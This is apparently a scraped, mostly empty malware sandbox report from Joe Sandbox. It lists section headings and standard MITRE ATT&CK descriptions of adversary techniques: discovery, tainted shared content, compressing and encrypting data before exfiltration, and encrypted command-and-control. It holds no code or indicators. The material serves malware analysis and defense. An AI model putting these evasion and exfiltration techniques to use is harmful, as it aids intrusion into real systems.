Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Function 00AD7B60, Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 272
COMMON

Function 00AC580D, Relevance: 21.2, APIs: 14, Instructions: 183
COMMON

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre